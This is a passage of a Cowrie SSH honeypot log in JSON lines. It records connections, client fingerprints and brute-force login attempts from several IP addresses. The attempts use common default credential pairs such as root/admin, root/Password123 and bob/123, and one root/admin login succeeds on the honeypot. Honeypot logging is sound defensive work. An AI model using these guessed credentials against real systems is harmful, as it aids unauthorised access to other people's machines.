{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:16.666914Z","src_ip":"117.219.14.193","session":"f5d5a94cd05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:17.103769Z","src_ip":"91.92.40.36","session":"d52dbb380136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:17.360466Z","src_ip":"45.153.34.195","session":"626b35b40590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:17.413333Z","src_ip":"117.219.14.193","session":"f5d5a94cd05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54376,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d05d51f665","protocol":"ssh","message":"New connection: 45.153.34.195:54376 (10.17.0.5:22) [session: d5d05d51f665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.425209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.430796Z","src_ip":"45.153.34.195","session":"d5d05d51f665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.519063Z","src_ip":"45.153.34.195","session":"d5d05d51f665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.664770Z","src_ip":"117.219.14.193","session":"f5d5a94cd05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":44882,"dst_ip":"10.17.0.5","dst_port":22,"session":"72748e7f314f","protocol":"ssh","message":"New connection: 117.219.14.193:44882 (10.17.0.5:22) [session: 72748e7f314f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.887939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:18.892580Z","src_ip":"117.219.14.193","session":"72748e7f314f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"123","message":"login attempt [bob/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:19.051677Z","src_ip":"45.153.34.195","session":"d5d05d51f665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:19.128551Z","src_ip":"117.219.14.193","session":"72748e7f314f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:19.839242Z","src_ip":"117.219.14.193","session":"72748e7f314f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:20.136964Z","src_ip":"45.153.34.195","session":"d5d05d51f665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27820,"dst_ip":"10.17.0.5","dst_port":22,"session":"09286aed0b9f","protocol":"ssh","message":"New connection: 91.92.40.36:27820 (10.17.0.5:22) [session: 09286aed0b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:20.334082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:20.891157Z","src_ip":"91.92.40.36","session":"09286aed0b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.078753Z","src_ip":"117.219.14.193","session":"72748e7f314f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":45639,"dst_ip":"10.17.0.5","dst_port":22,"session":"3097dfa72a04","protocol":"ssh","message":"New connection: 117.219.14.193:45639 (10.17.0.5:22) [session: 3097dfa72a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.303432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.308411Z","src_ip":"117.219.14.193","session":"3097dfa72a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54378,"dst_ip":"10.17.0.5","dst_port":22,"session":"175c4281e678","protocol":"ssh","message":"New connection: 45.153.34.195:54378 (10.17.0.5:22) [session: 175c4281e678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.403518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.418337Z","src_ip":"45.153.34.195","session":"175c4281e678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.486224Z","src_ip":"45.153.34.195","session":"175c4281e678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.540486Z","src_ip":"117.219.14.193","session":"3097dfa72a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123","message":"login attempt [root/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.818900Z","src_ip":"45.153.34.195","session":"175c4281e678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:21.859133Z","src_ip":"91.92.40.36","session":"09286aed0b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:22.246987Z","src_ip":"117.219.14.193","session":"3097dfa72a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:22.902480Z","src_ip":"45.153.34.195","session":"175c4281e678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.483681Z","src_ip":"117.219.14.193","session":"3097dfa72a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.219.14.193","src_port":32869,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a22696e167","protocol":"ssh","message":"New connection: 117.219.14.193:32869 (10.17.0.5:22) [session: d3a22696e167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.727020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.731332Z","src_ip":"117.219.14.193","session":"d3a22696e167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":53854,"dst_ip":"10.17.0.5","dst_port":22,"session":"75cc650a47b6","protocol":"ssh","message":"New connection: 73.36.177.174:53854 (10.17.0.5:22) [session: 75cc650a47b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.818524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.822912Z","src_ip":"73.36.177.174","session":"75cc650a47b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.869534Z","src_ip":"73.36.177.174","session":"75cc650a47b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:23.969374Z","src_ip":"117.219.14.193","session":"d3a22696e167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.086231Z","src_ip":"73.36.177.174","session":"75cc650a47b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40314,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee24756012b","protocol":"ssh","message":"New connection: 45.153.34.195:40314 (10.17.0.5:22) [session: 1ee24756012b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.460209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.465125Z","src_ip":"45.153.34.195","session":"1ee24756012b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.561998Z","src_ip":"45.153.34.195","session":"1ee24756012b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27852,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a46a021950f","protocol":"ssh","message":"New connection: 91.92.40.36:27852 (10.17.0.5:22) [session: 9a46a021950f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.570555Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.685076Z","src_ip":"117.219.14.193","session":"d3a22696e167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny123","message":"login attempt [danny/danny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:24.821483Z","src_ip":"45.153.34.195","session":"1ee24756012b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:25.139173Z","src_ip":"73.36.177.174","session":"75cc650a47b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:25.863064Z","src_ip":"91.92.40.36","session":"9a46a021950f","protocol":"ssh"}
